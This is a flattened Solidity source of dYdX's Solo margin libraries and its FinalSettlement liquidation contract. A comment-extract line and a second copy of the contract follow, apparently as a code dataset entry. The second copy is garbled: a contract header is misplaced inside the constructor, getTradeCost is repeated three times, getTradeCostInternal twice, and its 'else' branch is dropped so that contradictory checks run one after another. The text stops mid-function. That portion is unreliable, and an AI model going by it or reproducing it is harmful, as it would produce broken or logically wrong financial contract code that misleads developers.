stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
RPAREN
)
)
);
}
}
function that(
bool must,
bytes32 file,
bytes32 reason,
address payloadA,
uint256 payloadB,
uint256 payloadC
)
internal
pure
{
if (!must) {
revert(
string(
abi.encodePacked(
stringify(file),
COLON,
stringify(reason),
LPAREN,
stringify(payloadA),
COMMA,
stringify(payloadB),
COMMA,
stringify(payloadC),
RPAREN
)
)
);
}
}
// ============ Private Functions ============
function stringify(
bytes32 input
)
private
pure
returns (bytes memory)
{
// put the input bytes into the result
bytes memory result = abi.encodePacked(input);
// determine the length of the input by finding the location of the last non-zero byte
for (uint256 i = 32; i > 0; ) {
// reverse-for-loops with unsigned integer
/* solium-disable-next-line security/no-modify-for-iter-var */
i--;
// find the last non-zero byte in order to determine the length
if (result[i] != 0) {
uint256 length = i + 1;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
mstore(result, length) // r.length = length;
}
return result;
}
}
// all bytes are zero
return new bytes(0);
}
function stringify(
uint256 input
)
private
pure
returns (bytes memory)
{
if (input == 0) {
return "0";
}
// get the final string length
uint256 j = input;
uint256 length;
while (j != 0) {
length++;
j /= 10;
}
// allocate the string
bytes memory bstr = new bytes(length);
// populate the string starting with the least-significant character
j = input;
for (uint256 i = length; i > 0; ) {
// reverse-for-loops with unsigned integer
/* solium-disable-next-line security/no-modify-for-iter-var */
i--;
// take last decimal digit
bstr[i] = byte(uint8(ASCII_ZERO + (j % 10)));
// remove the last decimal digit
j /= 10;
}
return bstr;
}
function stringify(
address input
)
private
pure
returns (bytes memory)
{
uint256 z = uint256(input);
// addresses are "0x" followed by 20 bytes of data which take up 2 characters each
bytes memory result = new bytes(42);
// populate the result with "0x"
result[0] = byte(uint8(ASCII_ZERO));
result[1] = byte(uint8(ASCII_LOWER_EX));
// for each byte (starting from the lowest byte), populate the result with two characters
for (uint256 i = 0; i < 20; i++) {
// each byte takes two characters
uint256 shift = i * 2;
// populate the least-significant character
result[41 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
// populate the most-significant character
result[40 - shift] = char(z & FOUR_BIT_MASK);
z = z >> 4;
}
return result;
}
function char(
uint256 input
)
private
pure
returns (byte)
{
// return ASCII digit (0-9)
if (input < 10) {
return byte(uint8(input + ASCII_ZERO));
}
// return ASCII letter (a-f)
return byte(uint8(input + ASCII_RELATIVE_ZERO));
}
}
// File: contracts/protocol/lib/Math.sol
/**
* @title Math
* @author dYdX
*
* Library for non-standard Math functions
*/
library Math {
using SafeMath for uint256;
// ============ Constants ============
bytes32 constant FILE = "Math";
// ============ Library Functions ============
/*
* Return target * (numerator / denominator).
*/
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
return target.mul(numerator).div(denominator);
}
/*
* Return target * (numerator / denominator), but rounded up.
*/
function getPartialRoundUp(
uint256 target,
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
if (target == 0 || numerator == 0) {
// SafeMath will check for zero denominator
return SafeMath.div(0, denominator);
}
return target.mul(numerator).sub(1).div(denominator).add(1);
}
function to128(
uint256 number
)
internal
pure
returns (uint128)
{
uint128 result = uint128(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint128"
);
return result;
}
function to96(
uint256 number
)
internal
pure
returns (uint96)
{
uint96 result = uint96(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint96"
);
return result;
}
function to32(
uint256 number
)
internal
pure
returns (uint32)
{
uint32 result = uint32(number);
Require.that(
result == number,
FILE,
"Unsafe cast to uint32"
);
return result;
}
function min(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a < b ? a : b;
}
function max(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a > b ? a : b;
}
}
// File: contracts/protocol/lib/Types.sol
/**
* @title Types
* @author dYdX
*
* Library for interacting with the basic structs used in Solo
*/
library Types {
using Math for uint256;
// ============ AssetAmount ============
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
// ============ Par (Principal Amount) ============
// Total borrow and supply values for a market
struct TotalPar {
uint128 borrow;
uint128 supply;
}
// Individual principal amount for an account
struct Par {
bool sign; // true if positive
uint128 value;
}
function zeroPar()
internal
pure
returns (Par memory)
{
return Par({
sign: false,
value: 0
});
}
function sub(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
return add(a, negative(b));
}
function add(
Par memory a,
Par memory b
)
internal
pure
returns (Par memory)
{
Par memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value).to128();
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value).to128();
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value).to128();
}
}
return result;
}
function equals(
Par memory a,
Par memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Par memory a
)
internal
pure
returns (Par memory)
{
return Par({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Par memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Par memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Par memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
// ============ Wei (Token Amount) ============
// Individual token amount for an account
struct Wei {
bool sign; // true if positive
uint256 value;
}
function zeroWei()
internal
pure
returns (Wei memory)
{
return Wei({
sign: false,
value: 0
});
}
function sub(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
return add(a, negative(b));
}
function add(
Wei memory a,
Wei memory b
)
internal
pure
returns (Wei memory)
{
Wei memory result;
if (a.sign == b.sign) {
result.sign = a.sign;
result.value = SafeMath.add(a.value, b.value);
} else {
if (a.value >= b.value) {
result.sign = a.sign;
result.value = SafeMath.sub(a.value, b.value);
} else {
result.sign = b.sign;
result.value = SafeMath.sub(b.value, a.value);
}
}
return result;
}
function equals(
Wei memory a,
Wei memory b
)
internal
pure
returns (bool)
{
if (a.value == b.value) {
if (a.value == 0) {
return true;
}
return a.sign == b.sign;
}
return false;
}
function negative(
Wei memory a
)
internal
pure
returns (Wei memory)
{
return Wei({
sign: !a.sign,
value: a.value
});
}
function isNegative(
Wei memory a
)
internal
pure
returns (bool)
{
return !a.sign && a.value > 0;
}
function isPositive(
Wei memory a
)
internal
pure
returns (bool)
{
return a.sign && a.value > 0;
}
function isZero(
Wei memory a
)
internal
pure
returns (bool)
{
return a.value == 0;
}
}
// File: contracts/protocol/lib/Account.sol
/**
* @title Account
* @author dYdX
*
* Library of structs and functions that represent an account
*/
library Account {
// ============ Enums ============
/*
* Most-recently-cached account status.
*
* Normal: Can only be liquidated if the account values are violating the global margin-ratio.
* Liquid: Can be liquidated no matter the account values.
* Can be vaporized if there are no more positive account values.
* Vapor: Has only negative (or zeroed) account values. Can be vaporized.
*
*/
enum Status {
Normal,
Liquid,
Vapor
}
// ============ Structs ============
// Represents the unique key that specifies an account
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
// The complete storage for any account
struct Storage {
mapping (uint256 => Types.Par) balances; // Mapping from marketId to principal
Status status;
}
// ============ Library Functions ============
function equals(
Info memory a,
Info memory b
)
internal
pure
returns (bool)
{
return a.owner == b.owner && a.number == b.number;
}
}
// File: contracts/protocol/interfaces/IAutoTrader.sol
/**
* @title IAutoTrader
* @author dYdX
*
* Interface that Auto-Traders for Solo must implement in order to approve trades.
*/
contract IAutoTrader {
// ============ Public Functions ============
/**
* Allows traders to make trades approved by this smart contract. The active trader's account is
* the takerAccount and the passive account (for which this contract approves trades
* on-behalf-of) is the makerAccount.
*
* @param inputMarketId The market for which the trader specified the original amount
* @param outputMarketId The market for which the trader wants the resulting amount specified
* @param makerAccount The account for which this contract is making trades
* @param takerAccount The account requesting the trade
* @param oldInputPar The old principal amount for the makerAccount for the inputMarketId
* @param newInputPar The new principal amount for the makerAccount for the inputMarketId
* @param inputWei The change in token amount for the makerAccount for the inputMarketId
* @param data Arbitrary data passed in by the trader
* @return The AssetAmount for the makerAccount for the outputMarketId
*/
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
returns (Types.AssetAmount memory);
}
// File: contracts/protocol/lib/Decimal.sol
/**
* @title Decimal
* @author dYdX
*
* Library that defines a fixed-point number with 18 decimal places.
*/
library Decimal {
using SafeMath for uint256;
// ============ Constants ============
uint256 constant BASE = 10**18;
// ============ Structs ============
struct D256 {
uint256 value;
}
// ============ Functions ============
function one()
internal
pure
returns (D256 memory)
{
return D256({ value: BASE });
}
function onePlus(
D256 memory d
)
internal
pure
returns (D256 memory)
{
return D256({ value: d.value.add(BASE) });
}
function mul(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, d.value, BASE);
}
function div(
uint256 target,
D256 memory d
)
internal
pure
returns (uint256)
{
return Math.getPartial(target, BASE, d.value);
}
}
// File: contracts/protocol/lib/Monetary.sol
/**
* @title Monetary
* @author dYdX
*
* Library for types involving money
*/
library Monetary {
/*
* The price of a base-unit of an asset.
*/
struct Price {
uint256 value;
}
/*
* Total value of an some amount of an asset. Equal to (price * amount).
*/
struct Value {
uint256 value;
}
}
// File: contracts/protocol/lib/Time.sol
/**
* @title Time
* @author dYdX
*
* Library for dealing with time, assuming timestamps fit within 32 bits (valid until year 2106)
*/
library Time {
// ============ Library Functions ============
function currentTime()
internal
view
returns (uint32)
{
return Math.to32(block.timestamp);
}
}
// File: openzeppelin-solidity/contracts/utils/ReentrancyGuard.sol
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
// File: contracts/protocol/Getters.sol
/**
* @title Getters
* @author dYdX
*
* Public read-only functions that allow transparency into the state of Solo
*/
contract Getters {
// ============ Constants ============
bytes32 FILE = "Getters";
// ============ Getters for Risk ============
/* ... */
// ============ Getters for Markets ============
/**
* Get the total number of markets.
*
* @return The number of markets
*/
function getNumMarkets()
public
view
returns (uint256);
/**
* Get the ERC20 token address for a market.
*
* @param marketId The market to query
* @return The token address
*/
function getMarketTokenAddress(
uint256 marketId
)
public
view
returns (address);
/**
* Get the total principal amounts (borrowed and supplied) for a market.
*
* @param marketId The market to query
* @return The total principal amounts
*/
function getMarketTotalPar(
uint256 marketId
)
public
view
returns (Types.TotalPar memory);
/* ... */
/**
* Get the margin premium for a market. A margin premium makes it so that any positions that
* include the market require a higher collateralization to avoid being liquidated.
*
* @param marketId The market to query
* @return The market's margin premium
*/
function getMarketMarginPremium(
uint256 marketId
)
public
view
returns (Decimal.D256 memory);
/**
* Get the spread premium for a market. A spread premium makes it so that any liquidations
* that include the market have a higher spread than the global default.
*
* @param marketId The market to query
* @return The market's spread premium
*/
function getMarketSpreadPremium(
uint256 marketId
)
public
view
returns (Decimal.D256 memory);
/**
* Return true if a particular market is in closing mode. Additional borrows cannot be taken
* from a market that is closing.
*
* @param marketId The market to query
* @return True if the market is closing
*/
function getMarketIsClosing(
uint256 marketId
)
public
view
returns (bool);
/**
* Get the price of the token for a market.
*
* @param marketId The market to query
* @return The price of each atomic unit of the token
*/
function getMarketPrice(
uint256 marketId
)
public
view
returns (Monetary.Price memory);
/* ... */
/**
* Get the adjusted liquidation spread for some market pair. This is equal to the global
* liquidation spread multiplied by (1 + spreadPremium) for each of the two markets.
*
* @param heldMarketId The market for which the account has collateral
* @param owedMarketId The market for which the account has borrowed tokens
* @return The adjusted liquidation spread
*/
function getLiquidationSpreadForPair(
uint256 heldMarketId,
uint256 owedMarketId
)
public
view
returns (Decimal.D256 memory);
/* ... */
/**
* Get the number of excess tokens for a market. The number of excess tokens is calculated
* by taking the current number of tokens held in Solo, adding the number of tokens owed to Solo
* by borrowers, and subtracting the number of tokens owed to suppliers by Solo.
*
* @param marketId The market to query
* @return The number of excess tokens
*/
function getNumExcessTokens(
uint256 marketId
)
public
view
returns (Types.Wei memory);
// ============ Getters for Accounts ============
/**
* Get the principal value for a particular account and market.
*
* @param account The account to query
* @param marketId The market to query
* @return The principal value
*/
function getAccountPar(
Account.Info memory account,
uint256 marketId
)
public
view
returns (Types.Par memory);
/**
* Get the token balance for a particular account and market.
*
* @param account The account to query
* @param marketId The market to query
* @return The token amount
*/
function getAccountWei(
Account.Info memory account,
uint256 marketId
)
public
view
returns (Types.Wei memory);
/**
* Get the status of an account (Normal, Liquidating, or Vaporizing).
*
* @param account The account to query
* @return The account's status
*/
function getAccountStatus(
Account.Info memory account
)
public
view
returns (Account.Status);
/**
* Get the total supplied and total borrowed value of an account.
*
* @param account The account to query
* @return The following values:
* - The supplied value of the account
* - The borrowed value of the account
*/
function getAccountValues(
Account.Info memory account
)
public
view
returns (Monetary.Value memory, Monetary.Value memory);
/**
* Get the total supplied and total borrowed values of an account adjusted by the marginPremium
* of each market. Supplied values are divided by (1 + marginPremium) for each market and
* borrowed values are multiplied by (1 + marginPremium) for each market. Comparing these
* adjusted values gives the margin-ratio of the account which will be compared to the global
* margin-ratio when determining if the account can be liquidated.
*
* @param account The account to query
* @return The following values:
* - The supplied value of the account (adjusted for marginPremium)
* - The borrowed value of the account (adjusted for marginPremium)
*/
function getAdjustedAccountValues(
Account.Info memory account
)
public
view
returns (Monetary.Value memory, Monetary.Value memory);
/**
* Get an account's summary for each market.
*
* @param account The account to query
* @return The following values:
* - The ERC20 token address for each market
* - The account's principal value for each market
* - The account's (supplied or borrowed) number of tokens for each market
*/
function getAccountBalances(
Account.Info memory account
)
public
view
returns (
address[] memory,
Types.Par[] memory,
Types.Wei[] memory
);
// ============ Getters for Permissions ============
/**
* Return true if a particular address is approved as an operator for an owner's accounts.
* Approved operators can act on the accounts of the owner as if it were the operator's own.
*
* @param owner The owner of the accounts
* @param operator The possible operator
* @return True if operator is approved for owner's accounts
*/
function getIsLocalOperator(
address owner,
address operator
)
public
view
returns (bool);
/**
* Return true if a particular address is approved as a global operator. Such an address can
* act on any account as if it were the operator's own.
*
* @param operator The address to query
* @return True if operator is a global operator
*/
function getIsGlobalOperator(
address operator
)
public
view
returns (bool);
}
// File: contracts/protocol/SoloMargin.sol
/**
* @title SoloMargin
* @author dYdX
*
* Main contract that inherits from other contracts
*/
contract SoloMargin is
Getters
{
/* ... */
}
// File: contracts/external/helpers/OnlySolo.sol
/**
* @title OnlySolo
* @author dYdX
*
* Inheritable contract that restricts the calling of certain functions to Solo only
*/
contract OnlySolo {
// ============ Constants ============
bytes32 constant FILE = "OnlySolo";
// ============ Storage ============
SoloMargin public SOLO_MARGIN;
// ============ Constructor ============
constructor (
address soloMargin
)
public
{
SOLO_MARGIN = SoloMargin(soloMargin);
}
// ============ Modifiers ============
modifier onlySolo(address from) {
Require.that(
from == address(SOLO_MARGIN),
FILE,
"Only Solo can call function",
from
);
_;
}
}
// File: contracts/external/traders/FinalSettlement.sol
/**
* @title FinalSettlement
* @author dYdX
*
* FinalSettlement contract that allows closing of all positions on Solo.
*/
contract FinalSettlement is
OnlySolo,
IAutoTrader
{
using Math for uint256;
using SafeMath for uint32;
using SafeMath for uint256;
using Types for Types.Par;
using Types for Types.Wei;
// ============ Constants ============
bytes32 constant FILE = "FinalSettlement";
// ============ Events ============
event Initialized(
uint32 time
);
event Settlement(
address indexed makerAddress,
address indexed takerAddress,
uint256 heldMarketId,
uint256 owedMarketId,
uint256 heldWei,
uint256 owedWei
);
// ============ Storage ============
// Time over which the liquidation spread goes from zero to maximum.
uint256 public g_spreadRampTime;
// Time at which the contract was initialized. Zero if uninitialized.
uint32 public g_startTime = 0;
// ============ Constructor ============
constructor (
address soloMargin,
uint256 rampTime
)
public
OnlySolo(soloMargin)
{
g_spreadRampTime = rampTime;
}
// ============ External Functions ============
function initialize()
external
{
Require.that(
g_startTime == 0,
FILE,
"Already initialized"
);
Require.that(
SOLO_MARGIN.getIsGlobalOperator(address(this)),
FILE,
"Not a global operator"
);
g_startTime = Time.currentTime();
emit Initialized(
g_startTime
);
}
// ============ Getters ============
function getSpreadAdjustedPrices(
uint256 heldMarketId,
uint256 owedMarketId,
uint32 timestamp
)
public
view
returns (
Monetary.Price memory,
Monetary.Price memory
)
{
// Require timestamp to be at-or-after initialization
Require.that(
g_startTime != 0,
FILE,
"Not initialized"
);
// Get the amount of time passed since deployment, bounded by the maximum ramp time.
uint256 rampedTime = Math.min(
timestamp.sub(g_startTime),
g_spreadRampTime
);
// Get the liquidation spread prorated by the ramp time.
Decimal.D256 memory spread = SOLO_MARGIN.getLiquidationSpreadForPair(
heldMarketId,
owedMarketId
);
spread.value = Math.getPartial(spread.value, rampedTime, g_spreadRampTime);
Monetary.Price memory heldPrice = SOLO_MARGIN.getMarketPrice(heldMarketId);
Monetary.Price memory owedPrice = SOLO_MARGIN.getMarketPrice(owedMarketId);
owedPrice.value = owedPrice.value.add(Decimal.mul(owedPrice.value, spread));
return (heldPrice, owedPrice);
}
// ============ Only-Solo Functions ============
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
onlySolo(msg.sender)
returns (Types.AssetAmount memory)
{
// require contract to be initialized
Require.that(
g_startTime != 0,
FILE,
"Contract must be initialized"
);
// return zero if input amount is zero
if (inputWei.isZero()) {
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Par,
ref: Types.AssetReference.Delta,
value: 0
});
}
(uint256 owedMarketId) = abi.decode(data, (uint256));
Types.AssetAmount memory result = getTradeCostInternal(
inputMarketId,
outputMarketId,
makerAccount,
oldInputPar,
newInputPar,
inputWei,
owedMarketId
);
uint256 heldMarketId = (owedMarketId == inputMarketId)
? outputMarketId
: inputMarketId;
uint256 heldWei = (owedMarketId == inputMarketId)
? result.value
: inputWei.value;
uint256 owedWei = (owedMarketId == inputMarketId)
? inputWei.value
: result.value;
emit Settlement(
makerAccount.owner,
takerAccount.owner,
heldMarketId,
owedMarketId,
heldWei,
owedWei
);
return result;
}
// ============ Helper Functions ============
function getTradeCostInternal(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
Types.AssetAmount memory output;
Types.Wei memory maxOutputWei = SOLO_MARGIN.getAccountWei(makerAccount, outputMarketId);
if (inputWei.isPositive()) {
Require.that(
inputMarketId == owedMarketId,
FILE,
"inputMarket mismatch",
inputMarketId
);
Require.that(
!newInputPar.isPositive(),
FILE,
"Borrows cannot be overpaid",
newInputPar.value
);
assert(oldInputPar.isNegative());
Require.that(
maxOutputWei.isPositive(),
FILE,
"Collateral must be positive",
outputMarketId,
maxOutputWei.value
);
output = owedWeiToHeldWei(
inputWei,
outputMarketId,
inputMarketId
);
} else {
Require.that(
outputMarketId == owedMarketId,
FILE,
"outputMarket mismatch",
outputMarketId
);
Require.that(
!newInputPar.isNegative(),
FILE,
"Collateral cannot be overused",
newInputPar.value
);
assert(oldInputPar.isPositive());
Require.that(
maxOutputWei.isNegative(),
FILE,
"Borrows must be negative",
outputMarketId,
maxOutputWei.value
);
output = heldWeiToOwedWei(
inputWei,
inputMarketId,
outputMarketId
);
}
Require.that(
output.value <= maxOutputWei.value,
FILE,
"outputMarket too small",
output.value,
maxOutputWei.value
);
assert(output.sign != maxOutputWei.sign);
return output;
}
function heldWeiToOwedWei(
Types.Wei memory heldWei,
uint256 heldMarketId,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
Time.currentTime()
);
uint256 owedAmount = Math.getPartialRoundUp(
heldWei.value,
heldPrice.value,
owedPrice.value
);
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: owedAmount
});
}
function owedWeiToHeldWei(
Types.Wei memory owedWei,
uint256 heldMarketId,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
(
Monetary.Price memory heldPrice,
Monetary.Price memory owedPrice
) = getSpreadAdjustedPrices(
heldMarketId,
owedMarketId,
Time.currentTime()
);
uint256 heldAmount = Math.getPartial(
owedWei.value,
owedPrice.value,
heldPrice.value
);
return Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: heldAmount
});
}
} | ============ Constants ============ ============ Events ============ ============ Storage ============ Time over which the liquidation spread goes from zero to maximum. Time at which the contract was initialized. Zero if uninitialized. ============ Constructor ============ | {
using Math for uint256;
using SafeMath for uint32;
using SafeMath for uint256;
using Types for Types.Par;
using Types for Types.Wei;
bytes32 constant FILE = "FinalSettlement";
event Initialized(
uint32 time
);
event Settlement(
address indexed makerAddress,
address indexed takerAddress,
uint256 heldMarketId,
uint256 owedMarketId,
uint256 heldWei,
uint256 owedWei
);
uint256 public g_spreadRampTime;
uint32 public g_startTime = 0;
constructor (
address soloMargin,
uint256 rampTime
)
public
OnlySolo(soloMargin)
contract FinalSettlement is
{
g_spreadRampTime = rampTime;
}
function initialize()
external
{
Require.that(
g_startTime == 0,
FILE,
"Already initialized"
);
Require.that(
SOLO_MARGIN.getIsGlobalOperator(address(this)),
FILE,
"Not a global operator"
);
g_startTime = Time.currentTime();
emit Initialized(
g_startTime
);
}
function getSpreadAdjustedPrices(
uint256 heldMarketId,
uint256 owedMarketId,
uint32 timestamp
)
public
view
returns (
Monetary.Price memory,
Monetary.Price memory
)
{
Require.that(
g_startTime != 0,
FILE,
"Not initialized"
);
uint256 rampedTime = Math.min(
timestamp.sub(g_startTime),
g_spreadRampTime
);
Decimal.D256 memory spread = SOLO_MARGIN.getLiquidationSpreadForPair(
heldMarketId,
owedMarketId
);
spread.value = Math.getPartial(spread.value, rampedTime, g_spreadRampTime);
Monetary.Price memory heldPrice = SOLO_MARGIN.getMarketPrice(heldMarketId);
Monetary.Price memory owedPrice = SOLO_MARGIN.getMarketPrice(owedMarketId);
owedPrice.value = owedPrice.value.add(Decimal.mul(owedPrice.value, spread));
return (heldPrice, owedPrice);
}
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
onlySolo(msg.sender)
returns (Types.AssetAmount memory)
{
Require.that(
g_startTime != 0,
FILE,
"Contract must be initialized"
);
if (inputWei.isZero()) {
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Par,
ref: Types.AssetReference.Delta,
value: 0
});
}
(uint256 owedMarketId) = abi.decode(data, (uint256));
Types.AssetAmount memory result = getTradeCostInternal(
inputMarketId,
outputMarketId,
makerAccount,
oldInputPar,
newInputPar,
inputWei,
owedMarketId
);
uint256 heldMarketId = (owedMarketId == inputMarketId)
? outputMarketId
: inputMarketId;
uint256 heldWei = (owedMarketId == inputMarketId)
? result.value
: inputWei.value;
uint256 owedWei = (owedMarketId == inputMarketId)
? inputWei.value
: result.value;
emit Settlement(
makerAccount.owner,
takerAccount.owner,
heldMarketId,
owedMarketId,
heldWei,
owedWei
);
return result;
}
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
onlySolo(msg.sender)
returns (Types.AssetAmount memory)
{
Require.that(
g_startTime != 0,
FILE,
"Contract must be initialized"
);
if (inputWei.isZero()) {
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Par,
ref: Types.AssetReference.Delta,
value: 0
});
}
(uint256 owedMarketId) = abi.decode(data, (uint256));
Types.AssetAmount memory result = getTradeCostInternal(
inputMarketId,
outputMarketId,
makerAccount,
oldInputPar,
newInputPar,
inputWei,
owedMarketId
);
uint256 heldMarketId = (owedMarketId == inputMarketId)
? outputMarketId
: inputMarketId;
uint256 heldWei = (owedMarketId == inputMarketId)
? result.value
: inputWei.value;
uint256 owedWei = (owedMarketId == inputMarketId)
? inputWei.value
: result.value;
emit Settlement(
makerAccount.owner,
takerAccount.owner,
heldMarketId,
owedMarketId,
heldWei,
owedWei
);
return result;
}
function getTradeCost(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Account.Info memory takerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
bytes memory data
)
public
onlySolo(msg.sender)
returns (Types.AssetAmount memory)
{
Require.that(
g_startTime != 0,
FILE,
"Contract must be initialized"
);
if (inputWei.isZero()) {
return Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Par,
ref: Types.AssetReference.Delta,
value: 0
});
}
(uint256 owedMarketId) = abi.decode(data, (uint256));
Types.AssetAmount memory result = getTradeCostInternal(
inputMarketId,
outputMarketId,
makerAccount,
oldInputPar,
newInputPar,
inputWei,
owedMarketId
);
uint256 heldMarketId = (owedMarketId == inputMarketId)
? outputMarketId
: inputMarketId;
uint256 heldWei = (owedMarketId == inputMarketId)
? result.value
: inputWei.value;
uint256 owedWei = (owedMarketId == inputMarketId)
? inputWei.value
: result.value;
emit Settlement(
makerAccount.owner,
takerAccount.owner,
heldMarketId,
owedMarketId,
heldWei,
owedWei
);
return result;
}
function getTradeCostInternal(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
Types.AssetAmount memory output;
Types.Wei memory maxOutputWei = SOLO_MARGIN.getAccountWei(makerAccount, outputMarketId);
if (inputWei.isPositive()) {
Require.that(
inputMarketId == owedMarketId,
FILE,
"inputMarket mismatch",
inputMarketId
);
Require.that(
!newInputPar.isPositive(),
FILE,
"Borrows cannot be overpaid",
newInputPar.value
);
assert(oldInputPar.isNegative());
Require.that(
maxOutputWei.isPositive(),
FILE,
"Collateral must be positive",
outputMarketId,
maxOutputWei.value
);
output = owedWeiToHeldWei(
inputWei,
outputMarketId,
inputMarketId
);
Require.that(
outputMarketId == owedMarketId,
FILE,
"outputMarket mismatch",
outputMarketId
);
Require.that(
!newInputPar.isNegative(),
FILE,
"Collateral cannot be overused",
newInputPar.value
);
assert(oldInputPar.isPositive());
Require.that(
maxOutputWei.isNegative(),
FILE,
"Borrows must be negative",
outputMarketId,
maxOutputWei.value
);
output = heldWeiToOwedWei(
inputWei,
inputMarketId,
outputMarketId
);
}
Require.that(
output.value <= maxOutputWei.value,
FILE,
"outputMarket too small",
output.value,
maxOutputWei.value
);
assert(output.sign != maxOutputWei.sign);
return output;
}
function getTradeCostInternal(
uint256 inputMarketId,
uint256 outputMarketId,
Account.Info memory makerAccount,
Types.Par memory oldInputPar,
Types.Par memory newInputPar,
Types.Wei memory inputWei,
uint256 owedMarketId
)
private
view
returns (Types.AssetAmount memory)
{
Types.AssetAmount memory output;
Types.Wei memory maxOutputWei = SOLO_MARGIN.getAccountWei(makerAccount, outputMarketId);
if (inputWei.isPositive()) {
Require.that(
inputMarketId == owedMarketId,
FILE,
"inputMarket mismatch",
inputMarketId
);
Require.that(
!newInputPar.isPositive(),
FILE,
"Borrows cannot be overpaid",
newInputPar.value
);
assert(oldInputPar.isNegative());
Require.that(
maxOutputWei.isPositive(),
FILE,
"Collateral must be positive",
outputMarketId,
maxOutputWei.value
);
output = owedWeiToHeldWei(
inputWei,
outputMarketId,
inputMarketId
);
Require.that(
outputMarketId == owedMarketId,
FILE,
"outputMarket mismatch",
outputMarketId
);
Require.that(
!newInputPar.isNegative(),
FILE,
"Collateral cannot be overused",
newInputPar.value
);
assert(oldInputPar.isPositive());
Require.that(
maxOutputWei.isNegative(),
FILE,
"Borrows must be negative",
outputMarketId,
maxOutputWei.value
);
output = heldWeiToOwedWei(
inputWei,
inputMarketId,
outputMarketId
);
